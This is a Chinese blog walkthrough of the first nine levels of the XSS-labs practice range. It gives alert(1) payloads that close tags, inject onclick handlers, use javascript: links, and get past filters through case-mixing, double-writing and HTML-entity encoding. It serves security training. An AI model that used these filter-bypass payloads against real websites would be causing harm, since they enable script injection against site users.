[XSS-labs] 前九关

最新推荐文章于 2024-10-20 15:20:03 发布

JustForAPlayWhile

最新推荐文章于 2024-10-20 15:20:03 发布

阅读量369

点赞数 3

分类专栏：靶场文章标签：经验分享笔记 xss

本文链接：https://blog.csdn.net/qq_33171856/article/details/141755288

版权

12 篇文章 0 订阅

订阅专栏

level-1

在这里插入图片描述

直接插入js弹窗语句就好了

?name=<script>alert(1)</script>

在这里插入图片描述

在这里插入图片描述
当在输入框中插入恶意脚本，会被当成字符串，所以我们要想办法将这个输入标签闭合上，让我们输入的脚本暴露在外面

"><script>alert(1)</script>

输入后会变成这样，将我们的脚本暴露在外面

使用上一关的payload，不行，会将我们的特殊字符转义
在这里插入图片描述
我们可以试一下onclick事件

'onclick='alert(1)

在这里插入图片描述

这样当我们点击输入框时，就会弹窗
在这里插入图片描述

用上次的payload发现，这一次改成了双引号闭合，将之前的单引号改成双引号，就好了

用上一关的payload发现在on中间插入下划线
在这里插入图片描述
我们尝试换一种paylaod

"><a href=javascript:alert(1)>111</a>

旁边会多一个标签
点击即可出发脚本
在这里插入图片描述

使用上一个payload发现不可以
我们这次可以尝试大小写绕过

"Onclick="alert(1)

再点击输入框后即可触发payload
在这里插入图片描述

我们使用上一个payload发现不行
这次我们尝试双写payload

"oonnclick="alert(1)

成功触发payload
在这里插入图片描述

这一关我们用上一关的payload不行
这一次我们用Unicode编码绕过去
我们将javascript:alert(1)编码后执行

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

在这里插入图片描述

这一关我们用上一关的payload不行
这次我们将后面的http://注释掉

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

在这里插入图片描述

关注

专栏目录